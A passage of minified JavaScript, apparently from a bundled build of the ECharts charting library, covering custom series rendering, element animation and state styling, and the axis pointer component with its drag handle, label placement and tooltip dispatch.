t[e]},setStyle:function(e,t){var n=JG.el,r=n.style;return r&&(r[e]=t,n.dirtyStyle&&n.dirtyStyle()),this},getStyle:function(e){var t=JG.el.style;if(t)return t[e]},setExtra:function(e,t){var n=JG.el.extra||(JG.el.extra={});return n[e]=t,this},getExtra:function(e){var t=JG.el.extra;if(t)return t[e]}};function XG(){var e=this,t=e.el;if(t){var n=zG(t).userDuring,r=e.userDuring;if(n!==r){e.el=e.userDuring=null;return}JG.el=t,r(YG)}}function ZG(e,t,n,r){var i=n[e];if(i){var a=t[e],o;if(a){var s=n.transition,c=i.transition;if(c)if(!o&&(o=r[e]={}),WG(c))F(o,a);else for(var l=Rs(c),u=0;u<l.length;u++){var d=l[u],f=a[d];o[d]=f}else if(WG(s)||it(s,e)>=0){!o&&(o=r[e]={});for(var p=dt(a),u=0;u<p.length;u++){var d=p[u],f=a[d];nK(i[d],f)&&(o[d]=f)}}}}}function QG(e,t,n){var r=t[e];if(r)for(var i=n[e]={},a=dt(r),o=0;o<a.length;o++){var s=a[o];i[s]=ga(r[s])}}function $G(e,t,n){for(var r=t.transition,i=WG(r)?po:Rs(r||[]),a=0;a<i.length;a++){var o=i[a];o===`style`||o===`shape`||o===`extra`||(n[o]=e[o])}}function eK(e,t,n){for(var r=0;r<LG.length;r++){var i=LG[r],a=IG[i],o=t[i];o&&(n[a[0]]=o[0],n[a[1]]=o[1])}for(var r=0;r<po.length;r++){var s=po[r];t[s]!=null&&(n[s]=t[s])}}function tK(e,t,n,r){if(n){var i=e.style,a;if(i){var o=n.transition,s=t.transition;if(o&&!WG(o)){var c=Rs(o);!a&&(a=r.style={});for(var l=0;l<c.length;l++){var u=c[l],d=i[u];a[u]=d}}else if(e.getAnimationStyleProps&&(WG(s)||WG(o)||it(s,`style`)>=0)){var f=e.getAnimationStyleProps(),p=f?f.style:null;if(p){!a&&(a=r.style={});for(var m=dt(n),l=0;l<m.length;l++){var u=m[l];if(p[u]){var d=i[u];a[u]=d}}}}}}}function nK(e,t){return st(e)?e!==t:e!=null&&isFinite(e)}var rK=oc(),iK=[`percent`,`easing`,`shape`,`style`,`extra`];function aK(e){e.stopAnimation(`keyframe`),e.attr(rK(e))}function oK(e,t,n){if(!(!n.isAnimationEnabled()||!t)){if(B(t)){L(t,function(t){oK(e,t,n)});return}var r=t.keyframes,i=t.duration;if(n&&i==null){var a=Fp(`enter`,n,0);i=a&&a.duration}if(!(!r||!i)){var o=rK(e);L(RG,function(n){if(!(n&&!e[n])){var a;r.sort(function(e,t){return e.percent-t.percent}),L(r,function(r){var s=e.animators,c=n?r[n]:r;if(c){var l=dt(c);if(n||(l=lt(l,function(e){return it(iK,e)<0})),l.length){a||(a=e.animate(n,t.loop,!0),a.scope=`keyframe`);for(var u=0;u<s.length;u++)s[u]!==a&&s[u].targetName===a.targetName&&s[u].stopTracks(l);n&&(o[n]=o[n]||{});var d=n?o[n]:o;L(l,function(t){d[t]=((n?e[n]:e)||{})[t]}),a.whenWithKeys(i*r.percent,c,l,r.easing)}}}),a&&a.delay(t.delay||0).duration(i).start(t.easing)}})}}}var sK=`emphasis`,cK=`normal`,lK=`blur`,uK=`select`,dK=[cK,sK,lK,uK],fK={normal:[`itemStyle`],emphasis:[sK,`itemStyle`],blur:[lK,`itemStyle`],select:[uK,`itemStyle`]},pK={normal:[`label`],emphasis:[sK,`label`],blur:[lK,`label`],select:[uK,`label`]},mK=[`x`,`y`],hK=`e\0\0`,gK={normal:{},emphasis:{},blur:{},select:{}},_K={cartesian2d:SG,geo:wG,single:EG,polar:OG,calendar:kG,matrix:AG};function vK(e){return e instanceof Cu}function yK(e){return e instanceof hl}function bK(e,t){t.copyTransform(e),yK(t)&&yK(e)&&(t.setStyle(e.style),t.z=e.z,t.z2=e.z2,t.zlevel=e.zlevel,t.invisible=e.invisible,t.ignore=e.ignore,vK(t)&&vK(e)&&t.setShape(e.shape))}var xK=function(e){N(t,e);function t(){var n=e!==null&&e.apply(this,arguments)||this;return n.type=t.type,n}return t.prototype.render=function(e,t,n,r){this._progressiveEls=null;var i=this._data,a=e.getData(),o=this.group,s=DK(e,a,t,n);i||o.removeAll(),a.diff(i).add(function(t){kK(n,null,t,s(t,r),e,o,a)}).remove(function(t){var n=i.getItemGraphicEl(t);n&&UG(n,yG(n).option,e)}).update(function(t,c){kK(n,i.getItemGraphicEl(c),t,s(t,r),e,o,a)}).execute();var c=e.get(`clip`,!0)?FA(e.coordinateSystem,!1,e):null;c?o.setClipPath(c):o.removeClipPath(),this._data=a},t.prototype.incrementalPrepareRender=function(e,t,n){this.group.removeAll(),this._data=null},t.prototype.incrementalRender=function(e,t,n,r,i){var a=t.getData(),o=DK(t,a,n,r),s=this._progressiveEls=[];function c(e){e.isGroup||(e.incremental=!0,e.ensureState(`emphasis`).hoverLayer=!0)}for(var l=e.start;l<e.end;l++){var u=kK(null,null,l,o(l,i),t,this.group,a);u&&(u.traverse(c),s.push(u))}},t.prototype.eachRendered=function(e){Em(this._progressiveEls||this.group,e)},t.prototype.filterForExposedEvent=function(e,t,n,r){var i=t.element;if(i==null||n.name===i)return!0;for(;(n=n.__hostTarget||n.parent)&&n!==this.group;)if(n.name===i)return!0;return!1},t.type=`custom`,t}(Ab);function SK(e){var t=e.type,n;if(t===`path`){var r=e.shape,i=r.width!=null&&r.height!=null?{x:r.x||0,y:r.y||0,width:r.width,height:r.height}:null,a=UK(r);n=em(a,null,i,r.layout||`center`),yG(n).customPathData=a}else if(t===`image`)n=new ku({}),yG(n).customImagePath=e.style.image;else if(t===`text`)n=new Hu({});else if(t===`group`)n=new Y;else if(t===`compoundPath`){var r=e.shape;if(!r||!r.paths){var o=``;Ps(o)}n=new yp({shape:{paths:R(r.paths,function(e){if(e.type===`path`)return em(e.shape.pathData,e,null);var t=$p(e.type);return t||Ps(``),new t})}})}else{var s=$p(t);if(!s){var o=``;Ps(o)}n=new s}return yG(n).customGraphicType=t,n.name=e.name,n.z2EmphasisLift=1,n.z2SelectLift=1,n}function CK(e,t,n,r,i,a,o){aK(t);var s=i&&i.normal.cfg;s&&t.setTextConfig(s),r&&r.transition==null&&(r.transition=mK);var c=r&&r.style;if(c){if(t.type===`text`){var l=c;K(l,`textFill`)&&(l.fill=l.textFill),K(l,`textStroke`)&&(l.stroke=l.textStroke)}var u=void 0,d=vK(t)?c.decal:null;e&&d&&(d.dirty=!0,u=kS(d,e)),c.__decalPattern=u}if(yK(t)&&c){var u=c.__decalPattern;u&&(c.decal=u)}VG(t,r,a,{dataIndex:n,isInit:o,clearStyle:!0}),oK(t,r.keyframeAnimation,a)}function wK(e,t,n,r,i){var a=t.isGroup?null:t,o=i&&i[e].cfg;if(a){var s=a.ensureState(e);if(r===!1){var c=a.getState(e);c&&(c.style=null)}else s.style=r||null;o&&(s.textConfig=o),jd(a)}}function TK(e,t,n){if(!e.isGroup){var r=e,i=n.currentZ,a=n.currentZLevel;r.z=i,r.zlevel=a;var o=t.z2;o!=null&&(r.z2=o||0);for(var s=0;s<dK.length;s++)EK(r,t,dK[s])}}function EK(e,t,n){var r=n===cK,i=r?t:FK(t,n),a=i?i.z2:null,o;a!=null&&(o=r?e:e.ensureState(n),o.z2=a||0)}function DK(e,t,n,r){var i=e.get(`renderItem`);if(typeof i==`string`){var a=HS(i);a&&(i=a)}var o=e.coordinateSystem,s={};o&&(s=o.prepareCustoms?o.prepareCustoms(o):_K[o.type](o));for(var c=I({getWidth:r.getWidth,getHeight:r.getHeight,getZr:r.getZr,getDevicePixelRatio:r.getDevicePixelRatio,value:x,style:C,ordinalRawValue:S,styleEmphasis:w,visual:D,barLayout:O,currentSeriesIndices:k,font:A},s.api||{}),l={context:{},seriesId:e.id,seriesName:e.name,seriesIndex:e.seriesIndex,coordSys:s.coordSys,dataInsideLength:t.count(),encode:OK(e.getData()),itemPayload:e.get(`itemPayload`)||{}},u,d,f={},p={},m={},h={},g=0;g<dK.length;g++){var _=dK[g];m[_]=e.getModel(fK[_]),h[_]=e.getModel(pK[_])}function v(e){return e===u?d||=t.getItemModel(e):t.getItemModel(e)}function y(e,n){return t.hasItemOption?e===u?f[n]||(f[n]=v(e).getModel(fK[n])):v(e).getModel(fK[n]):m[n]}function b(e,n){return t.hasItemOption?e===u?p[n]||(p[n]=v(e).getModel(pK[n])):v(e).getModel(pK[n]):h[n]}return function(e,n){return u=e,d=null,f={},p={},i&&i(I({dataIndexInside:e,dataIndex:t.getRawIndex(e),actionType:n?n.type:null},l),c)};function x(e,n){return n??=u,t.getStore().get(t.getDimensionIndex(e||0),n)}function S(e,n){n??=u,e||=0;var r=t.getDimensionInfo(e);if(!r){var i=t.getDimensionIndex(e);return i>=0?t.getStore().get(i,n):void 0}var a=t.get(r.name,n),o=r&&r.ordinalMeta;return o?o.categories[a]:a}function C(n,r){r??=u;var i=t.getItemVisual(r,`style`),a=i&&i.fill,o=i&&i.opacity,s=y(r,cK).getItemStyle();a!=null&&(s.fill=a),o!=null&&(s.opacity=o);var c={inheritColor:H(a)?a:Q.color.neutral99},l=b(r,cK),d=Bm(l,null,c,!1,!0);d.text=l.getShallow(`show`)?W(e.getFormattedLabel(r,cK),fA(t,r)):null;var f=Vm(l,c,!1);return E(n,s),s=PG(s,d,f),n&&T(s,n),s.legacy=!0,s}function w(n,r){r??=u;var i=y(r,sK).getItemStyle(),a=b(r,sK),o=Bm(a,null,null,!0,!0);o.text=a.getShallow(`show`)?wt(e.getFormattedLabel(r,sK),e.getFormattedLabel(r,cK),fA(t,r)):null;var s=Vm(a,null,!0);return E(n,i),i=PG(i,o,s),n&&T(i,n),i.legacy=!0,i}function T(e,t){for(var n in t)K(t,n)&&(e[n]=t[n])}function E(e,t){e&&(e.textFill&&(t.textFill=e.textFill),e.textPosition&&(t.textPosition=e.textPosition))}function D(e,n){if(n??=u,K(_G,e)){var r=t.getItemVisual(n,`style`);return r?r[_G[e]]:null}if(K(vG,e))return t.getItemVisual(n,e)}function O(e){if(o.type===`cartesian2d`)return zT(I({axis:o.getBaseAxis()},e))}function k(){return n.getCurrentSeriesIndices()}function A(e){return Jm(e,n)}}function OK(e){var t={};return L(e.dimensions,function(n){var r=e.getDimensionInfo(n);if(!r.isExtraCoord){var i=r.coordDim,a=t[i]=t[i]||[];a[r.coordDimIndex]=e.getDimensionIndex(n)}}),t}function kK(e,t,n,r,i,a,o){if(!r){a.remove(t);return}var s=AK(e,t,n,r,i,a);return s&&o.setItemGraphicEl(n,s),s&&$d(s,r.focus,r.blurScope,r.emphasisDisabled),s}function AK(e,t,n,r,i,a){var o=-1,s=t;t&&jK(t,r,i)&&(o=it(a.childrenRef(),t),t=null);var c=!t,l=t;l?l.clearStates():(l=SK(r),s&&bK(s,l)),r.morph===!1?l.disableMorphing=!0:l.disableMorphing&&=!1,r.tooltipDisabled&&(l.tooltipDisabled=!0),gK.normal.cfg=gK.normal.conOpt=gK.emphasis.cfg=gK.emphasis.conOpt=gK.blur.cfg=gK.blur.conOpt=gK.select.cfg=gK.select.conOpt=null,gK.isLegacy=!1,NK(l,n,r,i,c,gK),MK(l,n,r,i,c),CK(e,l,n,r,gK,i,c),K(r,`info`)&&(yG(l).info=r.info);for(var u=0;u<dK.length;u++){var d=dK[u];if(d!==cK){var f=FK(r,d),p=IK(r,f,d);wK(d,l,f,p,gK)}}return TK(l,r,i),r.type===`group`&&LK(e,l,n,r,i),o>=0?a.replaceAt(l,o):a.add(l),l}function jK(e,t,n){var r=yG(e),i=t.type,a=t.shape,o=t.style;return n.isUniversalTransitionEnabled()||i!=null&&i!==r.customGraphicType||i===`path`&&WK(a)&&UK(a)!==r.customPathData||i===`image`&&K(o,`image`)&&o.image!==r.customImagePath}function MK(e,t,n,r,i){var a=n.clipPath;if(a===!1)e&&e.getClipPath()&&e.removeClipPath();else if(a){var o=e.getClipPath();o&&jK(o,a,r)&&(o=null),o||(o=SK(a),e.setClipPath(o)),CK(null,o,t,a,null,r,i)}}function NK(e,t,n,r,i,a){if(!(e.isGroup||e.type===`compoundPath`)){PK(n,null,a),PK(n,sK,a);var o=a.normal.conOpt,s=a.emphasis.conOpt,c=a.blur.conOpt,l=a.select.conOpt;if(o!=null||s!=null||l!=null||c!=null){var u=e.getTextContent();if(o===!1)u&&e.removeTextContent();else{o=a.normal.conOpt=o||{type:`text`},u?u.clearStates():(u=SK(o),e.setTextContent(u)),CK(null,u,t,o,null,r,i);for(var d=o&&o.style,f=0;f<dK.length;f++){var p=dK[f];if(p!==cK){var m=a[p].conOpt;wK(p,u,m,IK(o,m,p),null)}}d?u.dirty():u.markRedraw()}}}}function PK(e,t,n){var r=t?FK(e,t):e,i=t?IK(e,r,sK):e.style,a=e.type,o=r?r.textConfig:null,s=e.textContent,c=s?t?FK(s,t):s:null;if(i&&(n.isLegacy||jG(i,a,!!o,!!c))){n.isLegacy=!0;var l=MG(i,a,!t);!o&&l.textConfig&&(o=l.textConfig),!c&&l.textContent&&(c=l.textContent)}if(!t&&c){var u=c;!u.type&&(u.type=`text`)}var d=t?n[t]:n.normal;d.cfg=o,d.conOpt=c}function FK(e,t){return t?e?e[t]:null:e}function IK(e,t,n){var r=t&&t.style;return r==null&&n===sK&&e&&(r=e.styleEmphasis),r}function LK(e,t,n,r,i){var a=r.children,o=a?a.length:0,s=r.$mergeChildren,c=s===`byName`||r.diffChildrenByName,l=s===!1;if(!(!o&&!c&&!l)){if(c){zK({api:e,oldChildren:t.children()||[],newChildren:a||[],dataIndex:n,seriesModel:i,group:t});return}l&&t.removeAll();for(var u=0;u<o;u++){var d=a[u],f=t.childAt(u);d?(d.ignore??=!1,AK(e,f,n,d,i,t)):f.ignore=!0}for(var p=t.childCount()-1;p>=u;p--)RK(t,t.childAt(p),i)}}function RK(e,t,n){t&&UG(t,yG(e).option,n)}function zK(e){new Cw(e.oldChildren,e.newChildren,BK,BK,e).add(VK).update(VK).remove(HK).execute()}function BK(e,t){return(e&&e.name)??hK+t}function VK(e,t){var n=this.context,r=e==null?null:n.newChildren[e],i=t==null?null:n.oldChildren[t];AK(n.api,i,n.dataIndex,r,n.seriesModel,n.group)}function HK(e){var t=this.context,n=t.oldChildren[e];n&&UG(n,yG(n).option,t.seriesModel)}function UK(e){return e&&(e.pathData||e.d)}function WK(e){return e&&(K(e,`pathData`)||K(e,`d`))}function GK(e){e.registerChartView(xK),e.registerSeriesModel(bG)}var KK=oc(),qK=P,JK=z,YK=function(){function e(){this._dragging=!1,this.animationThreshold=15}return e.prototype.render=function(e,t,n,r){var i=t.get(`value`),a=t.get(`status`);if(this._axisModel=e,this._axisPointerModel=t,this._api=n,!(!r&&this._lastValue===i&&this._lastStatus===a)){this._lastValue=i,this._lastStatus=a;var o=this._group,s=this._handle;if(!a||a===`hide`){o&&o.hide(),s&&s.hide();return}o&&o.show(),s&&s.show();var c={};this.makeElOption(c,i,e,t,n);var l=c.graphicKey;l!==this._lastGraphicKey&&this.clear(n),this._lastGraphicKey=l;var u=this._moveAnimation=this.determineAnimation(e,t);if(!o)o=this._group=new Y,this.createPointerEl(o,c,e,t),this.createLabelEl(o,c,e,t),n.getZr().add(o);else{var d=pt(XK,t,u);this.updatePointerEl(o,c,d),this.updateLabelEl(o,c,d,t)}eq(o,t,!0),this._renderHandle(i)}},e.prototype.remove=function(e){this.clear(e)},e.prototype.dispose=function(e){this.clear(e)},e.prototype.determineAnimation=function(e,t){var n=t.get(`animation`),r=e.axis,i=r.type===`category`,a=t.get(`snap`);if(!a&&!i)return!1;if(n===`auto`||n==null){var o=this.animationThreshold;if(i&&r.getBandWidth()>o)return!0;if(a){var s=YN(e).seriesDataCount,c=r.getExtent();return Math.abs(c[0]-c[1])/s>o}return!1}return n===!0},e.prototype.makeElOption=function(e,t,n,r,i){},e.prototype.createPointerEl=function(e,t,n,r){var i=t.pointer;if(i){var a=KK(e).pointerEl=new Gp[i.type](qK(t.pointer));e.add(a)}},e.prototype.createLabelEl=function(e,t,n,r){if(t.label){var i=KK(e).labelEl=new Hu(qK(t.label));e.add(i),QK(i,r)}},e.prototype.updatePointerEl=function(e,t,n){var r=KK(e).pointerEl;r&&t.pointer&&(r.setStyle(t.pointer.style),n(r,{shape:t.pointer.shape}))},e.prototype.updateLabelEl=function(e,t,n,r){var i=KK(e).labelEl;i&&(i.setStyle(t.label.style),n(i,{x:t.label.x,y:t.label.y}),QK(i,r))},e.prototype._renderHandle=function(e){if(!(this._dragging||!this.updateHandleTransform)){var t=this._axisPointerModel,n=this._api.getZr(),r=this._handle,i=t.getModel(`handle`),a=t.get(`status`);if(!i.get(`show`)||!a||a===`hide`){r&&n.remove(r),this._handle=null;return}var o;this._handle||(o=!0,r=this._handle=gm(i.get(`icon`),{cursor:`move`,draggable:!0,onmousemove:function(e){Pn(e.event)},onmousedown:JK(this._onHandleDragMove,this,0,0),drift:JK(this._onHandleDragMove,this),ondragend:JK(this._onHandleDragEnd,this)}),n.add(r)),eq(r,t,!1),r.setStyle(i.getItemStyle(null,[`color`,`borderColor`,`borderWidth`,`opacity`,`shadowColor`,`shadowBlur`,`shadowOffsetX`,`shadowOffsetY`]));var s=i.get(`size`);B(s)||(s=[s,s]),r.scaleX=s[0]/2,r.scaleY=s[1]/2,Bb(this,`_doDispatchAxisPointer`,i.get(`throttle`)||0,`fixRate`),this._moveHandleToValue(e,o)}},e.prototype._moveHandleToValue=function(e,t){XK(this._axisPointerModel,!t&&this._moveAnimation,this._handle,$K(this.getHandleTransform(e,this._axisModel,this._axisPointerModel)))},e.prototype._onHandleDragMove=function(e,t){var n=this._handle;if(n){this._dragging=!0;var r=this.updateHandleTransform($K(n),[e,t],this._axisModel,this._axisPointerModel);this._payloadInfo=r,n.stopAnimation(),n.attr($K(r)),KK(n).lastProp=null,this._doDispatchAxisPointer()}},e.prototype._doDispatchAxisPointer=function(){if(this._handle){var e=this._payloadInfo,t=this._axisModel;this._api.dispatchAction({type:`updateAxisPointer`,x:e.cursorPoint[0],y:e.cursorPoint[1],tooltipOption:e.tooltipOption,axesInfo:[{axisDim:t.axis.dim,axisIndex:t.componentIndex}]})}},e.prototype._onHandleDragEnd=function(){if(this._dragging=!1,this._handle){var e=this._axisPointerModel.get(`value`);this._moveHandleToValue(e),this._api.dispatchAction({type:`hideTip`})}},e.prototype.clear=function(e){this._lastValue=null,this._lastStatus=null;var t=e.getZr(),n=this._group,r=this._handle;t&&n&&(this._lastGraphicKey=null,n&&t.remove(n),r&&t.remove(r),this._group=null,this._handle=null,this._payloadInfo=null),Vb(this,`_doDispatchAxisPointer`)},e.prototype.doClear=function(){},e.prototype.buildLabel=function(e,t,n){return n||=0,{x:e[n],y:e[1-n],width:t[n],height:t[1-n]}},e}();function XK(e,t,n,r){ZK(KK(n).lastProp,r)||(KK(n).lastProp=r,t?Lp(n,r,e):(n.stopAnimation(),n.attr(r)))}function ZK(e,t){if(U(e)&&U(t)){var n=!0;return L(t,function(t,r){n&&=ZK(e[r],t)}),!!n}else return e===t}function QK(e,t){e[t.get([`label`,`show`])?`show`:`hide`]()}function $K(e){return{x:e.x||0,y:e.y||0,rotation:e.rotation||0}}function eq(e,t,n){var r=t.get(`z`),i=t.get(`zlevel`);e&&e.traverse(function(e){e.type!==`group`&&(r!=null&&(e.z=r),i!=null&&(e.zlevel=i),e.silent=n)})}function tq(e){var t=e.get(`type`),n=e.getModel(t+`Style`),r;return t===`line`?(r=n.getLineStyle(),r.fill=null):t===`shadow`&&(r=n.getAreaStyle(),r.stroke=null),r}function nq(e,t,n,r,i){var a=iq(n.get(`value`),t.axis,t.ecModel,n.get(`seriesDataIndices`),{precision:n.get([`label`,`precision`]),formatter:n.get([`label`,`formatter`])}),o=n.getModel(`label`),s=mg(o.get(`padding`)||0),c=o.getFont(),l=Co(a,c),u=i.position,d=l.width+s[1]+s[3],f=l.height+s[0]+s[2],p=i.align;p===`right`&&(u[0]-=d),p===`center`&&(u[0]-=d/2);var m=i.verticalAlign;m===`bottom`&&(u[1]-=f),m===`middle`&&(u[1]-=f/2),rq(u,d,f,r);var h=o.get(`backgroundColor`);(!h||h===`auto`)&&(h=t.get([`axisLine`,`lineStyle`,`color`])),e.label={x:u[0],y:u[1],style:Bm(o,{text:a,font:c,fill:o.getTextColor(),padding:s,backgroundColor:h}),z2:10}}function rq(e,t,n,r){var i=r.getWidth(),a=r.getHeight();e[0]=Math.min(e[0]+t,i)-t,e[1]=Math.min(e[1]+n,a)-n,e[0]=Math.max(e[0],0),e[1]=Math.max(e[1],0)}function iq(e,t,n,r,i){e=t.scale.parse(e);var a=t.scale.getLabel({value:e},{precision:i.precision}),o=i.formatter;if(o){var s={value:EE(t,{value:e}),axisDimension:t.dim,axisIndex:t.index,seriesData:[]};L(r,function(e){var t=n.getSeriesByIndex(e.seriesIndex),r=e.dataIndexInside,i=t&&t.getDataParams(r);i&&s.seriesData.push(i)}),H(o)?a=o.replace(`{value}`,a):V(o)&&(a=o(s))}return a}function aq(e,t,n){var r=Bn();return Gn(r,r,n.rotation),Wn(r,r,n.position),lm([e.dataToCoord(t),(n.labelOffset||0)+(n.labelDirection||1)*(n.labelMargin||0)],r)}function oq(e,t,n,r,i,a){var o=eN.innerTextLayout(n.rotation,0,n.labelDirection);n.labelMargin=i.get([`label`,`margin`]),nq(t,r,i,a,{position:aq(r.axis,e,n),align:o.textAlign,verticalAlign:o.textVerticalAlign})}function sq(e,t,n){return n||=0,{x1:e[n],y1:e[1-n],x2:t[n],y2:t[1-n]}}function cq(e,t,n){return n||=0,{x:e[n],y:e[1-n],width:t[n],height:t[1-n]}}function lq(e,t,n,r,i,a){return{cx:e,cy:t,r0:n,r,startAngle:i,endAngle:a,clockwise:!0}}var uq=function(e){N(t,e);function t(){return e!==null&&e.apply(this,arguments)||this}return t.prototype.makeElOption=function(e,t,n,r,i){var a=n.axis,o=a.grid,s=r.get(`type`),c=dq(o,a).getOtherAxis(a).getGlobalExtent(),l=a.toGlobalCoord(a.dataToCoord(t,!0));if(s&&s!==`none`){var u=tq(r),d=fq[s](a,l,c);d.style=u,e.graphicKey=d.type,e.pointer=d}oq(t,e,xN(o.getRect(),n),n,r,i)},t.prototype.getHandleTransform=function(e,t,n){var r=xN(t.axis.grid.getRect(),t,{labelInside:!1});r.labelMargin=n.get([`handle`,`margin`]);var i=aq(t.axis,e,r);return{x:i[0],y:i[1],rotation:r.rotation+(r.labelDirection<0?Math.PI:0)}},t.prototype.updateHandleTransform=function(e,t,n,r){var i=n.axis,a=i.grid,o=i.getGlobalExtent(!0),s=dq(a,i).getOtherAxis(i).getGlobalExtent(),c=i.dim===`x`?0:1,l=[e.x,e.y];l[c]+=t[c],l[c]=Math.min(o[1],l[c]),l[c]=Math.max(o[0],l[c]);var u=(s[1]+s[0])/2,d=[u,u];return d[c]=l[c],{x:l[0],y:l[1],rotation:e.rotation,cursorPoint:d,tooltipOption:[{verticalAlign:`middle`},{align:`center`}][c]}},t}(YK);function dq(e,t){var n={};return n[t.dim+`AxisIndex`]=t.index,e.getCartesian(n)}var fq={line:function(e,t,n){return{type:`Line`,subPixelOptimize:!0,shape:sq([t,n[0]],[t,n[1]],pq(e))}},shadow:function(e,t,n){var r=Math.max(1,e.getBandWidth()),i=n[1]-n[0];return{type:`Rect`,shape:cq([t-r/2,n[0]],[r,i],pq(e))}}};function pq(e){return e.dim===`x`?0:1}var mq=function(e){N(t,e);function t(){var n=e!==null&&e.apply(this,arguments)||this;return n.type=t.type,n}return t.type=`axisPointer`,t.defaultOption={show:`auto`,z:50,type:`line`,snap:!1,triggerTooltip:!0,triggerEmphasis:!0,value:null,status:null,link:[],animation:null,animationDurationUpdate:200,lineStyle:{color:Q.color.border,width:1,type:`dashed`},shadowStyle:{color:Q.color.shadowTint},label:{show:!0,formatter:null,precision:`auto`,margin:3,color:Q.color.neutral00,padding:[5,7,5,7],backgroundColor:Q.color.accent60,borderColor:null,borderWidth:0,borderRadius:3},handle:{show:!1,icon:`M10.7,11.9v-1.3H9.3v1.3c-4.9,0.3-8.8,4.4-8.8,9.4c0,5,3.9,9.1,8.8,9.4h1.3c4.9-0.3,8.8-4.4,8.8-9.4C19.5,16.3,15.6,12.2,10.7,11.9z M13.3,24.4H6.7v-1.2h6.6z M13.3,22H6.7v-1.2h6.6z M13.3,19.6H6.7v-1.2h6.6z`,size:45,margin:50,color:Q.color.accent40,throttle:40}},t}(e_),hq=oc(),gq=L;function _q(e,t,n){if(!Ne.node){var r=t.getZr();hq(r).records||(hq(r).records={}),vq(r,t);var i=hq(r).records[e]||(hq(r).records[e]={});i.handler=n}}function vq(e,t){if(hq(e).initialized)return;hq(e).initialized=!0,n(`click`,pt(xq,`click`)),n(`mousemove`,pt(xq,`mousemove`)),n(`globalout`,bq);function n(n,r){e.on(n,function(n){var i=Sq(t);gq(hq(e).records,function(e){e&&r(e,n,i.dispatchAction)}),yq(i.pendings,t)})}}function yq(e,t){var n=e.showTip.length,r=e.hideTip.length,i;n?i=e.showTip[n-1]:r&&(i=e.hideTip[r-1]),i&&(i.dispatchAction=null,t.dispatchAction(i))}function bq(e,t,n){e.handler(`leave`,null,n)}function xq(e,t,n,r){t.handler(e,n,r)}function Sq(e){var t={showTip:[],hideTip:[]},n=function(r){var i=t[r.type];i?i.push(r):(r.dispatchAction=n,e.dispatchAction(r))};return{dispatchAction:n,pendings:t}}function Cq(e,t){if(!Ne.node){var n=t.getZr();(hq(n).records||{})[e]&&(hq(n).records[e]=null)}}var wq=function(e){N(t,e);function t(){var n=e!==null&&e.apply(this,arguments)||this;return n.type=t.type,n}return t.prototype.render=function(e,t,n){var r=t.getComponent(`tooltip`),i=e.get(`triggerOn`)||r&&r.get(`triggerOn`)||`mousemove|click`;_q(`axisPointer`,n,function(e,t,n){i!==`none`&&(e===`leave`||i.indexOf(e)>=0)&&n({type:`updateAxisPointer`,currTrigger:e,x:t&&t.offsetX,y:t&&t.offsetY})})},t.prototype.remove=function(e,t){Cq(`axisPointer`,t)},t.prototype.dispose=function(e,t){Cq(`axisPointer`,t)},t.type=`axisPointer`,t}(Eb);function Tq(e,t){var n=[],r=e.seriesIndex,i;if(r==null||!(i=t.getSeriesByIndex(r)))return{point:[]};var a=i.getData(),o=ac(a,e);if(o==null||o<0||B(o))return{point:[]};var s=a.getItemGraphicEl(o),c=i.coordinateSystem;if(i.getTooltipPosition)n=i.getTooltipPosition(o)||[];else if(c&&c.dataToPoint)if(e.isStacked){var l=c.getBaseAxis(),u=c.getOtherAxis(l).dim,d=l.dim,f=+(u===`x`||u===`radius`),p=a.mapDimension(d),m=[];m[f]=a.get(p,o),m[1-f]=a.get(a.getCalculationInfo(`stackResultDimension`),o),n=c.dataToPoint(m)||[]}else n=c.dataToPoint(a.getValues(R(c.dimensions,function(e){return a.mapDimension(e)}),o))||[];else if(s){var h=s.getBoundingRect().clone();h.applyTransform(s.transform),n=[h.x+h.width/2,h.y+h.height/2]}return{point:n,el:s}}var Eq=oc();function Dq(e,t,n){var r=e.currTrigger,i=[e.x,e.y],a=e,o=e.dispatchAction||z(n.dispatchAction,n),s=t.getComponent(`axisPointer`).coordSysAxesInfo;if(s){Lq(i)&&(i=Tq({seriesIndex:a.seriesIndex,dataIndex:a.dataIndex},t).point);var c=Lq(i),l=a.axesInfo,u=s.axesInfo,d=r===`leave`||Lq(i),f={},p={},m={list:[],map:{}},h={showPointer:pt(Aq,p),showTooltip:pt(jq,m)};L(s.coordSysMap,function(e,t){var n=c||e.containPoint(i);L(s.coordSysAxesInfo[t],function(e,t){var r=e.axis,a=Fq(l,e);if(!d&&n&&(!l||a)){var o=a&&a.value;o==null&&!c&&(o=r.pointToData(i)),o!=null&&Oq(e,o,h,!1,f)}})});var g={};return L(u,function(e,t){var n=e.linkGroup;n&&!p[t]&&L(n.axesInfo,function(t,r){var i=p[r];if(t!==e&&i){var a=i.value;n.mapper&&(a=e.axis.scale.parse(n.mapper(a,Iq(t),Iq(e)))),g[e.key]=a}})}),L(g,function(e,t){Oq(u[t],e,h,!0,f)}),Mq(p,u,f),Nq(m,i,e,o),Pq(u,o,n),f}}function Oq(e,t,n,r,i){var a=e.axis;if(!(a.scale.isBlank()||!a.containData(t))){if(!e.involveSeries){n.showPointer(e,t);return}var o=kq(t,e),s=o.payloadBatch,c=o.snapToValue;s[0]&&i.seriesIndex==null&&F(i,s[0]),!r&&e.snap&&a.containData(c)&&c!=null&&(t=c),n.showPointer(e,t,s),n.showTooltip(e,o,c)}}function kq(e,t){var n=t.axis,r=n.dim,i=e,a=[],o=Number.MAX_VALUE,s=-1;return L(t.seriesModels,function(t,c){var l=t.getData().mapDimensionsAll(r),u,d;if(t.getAxisTooltipData){var f=t.getAxisTooltipData(l,e,n);d=f.dataIndices,u=f.nestestValue}else{if(d=t.indicesOfNearest(r,l[0],e,n.type===`category`?.5:null),!d.length)return;u=t.getData().get(l[0],d[0])}if(!(u==null||!isFinite(u))){var p=e-u,m=Math.abs(p);m<=o&&((m<o||p>=0&&s<0)&&(o=m,s=p,i=u,a.length=0),L(d,function(e){a.push({seriesIndex:t.seriesIndex,dataIndexInside:e,dataIndex:t.getData().getRawIndex(e)})}))}}),{payloadBatch:a,snapToValue:i}}function Aq(e,t,n,r){e[t.key]={value:n,payloadBatch:r}}function jq(e,t,n,r){var i=n.payloadBatch,a=t.axis,o=a.model,s=t.axisPointerModel;if(!(!t.triggerTooltip||!i.length)){var 